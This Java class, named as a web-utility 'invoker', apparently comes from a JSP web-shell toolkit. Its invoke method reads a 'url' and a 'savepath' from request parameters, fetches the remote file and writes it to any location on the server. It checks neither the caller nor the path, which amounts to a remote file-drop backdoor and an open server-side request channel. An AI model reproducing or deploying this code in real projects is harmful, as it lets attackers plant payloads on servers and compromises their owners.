package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.net.URL;
import java.net.URLConnection;

public class DownRemoteInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return true;
    }

    public boolean doAfter() {
        return true;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String downFileUrl = request.getParameter("url");
            String savePath = request.getParameter("savepath");
            if (Utils.isEmpty(downFileUrl) || Utils.isEmpty(savePath))
                return;
            URL downUrl = new URL(downFileUrl);
            URLConnection conn = downUrl.openConnection();
            BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
            BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
            byte[] data = new byte[1024];
            int len = in.read(data);
            while (len != -1) {
                out.write(data, 0, len);
                len = in.read(data);
            }
            in.close();
            out.close();
            session.setAttribute("done", "ok");
            ins.get("vd").invoke(request, response, session);
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}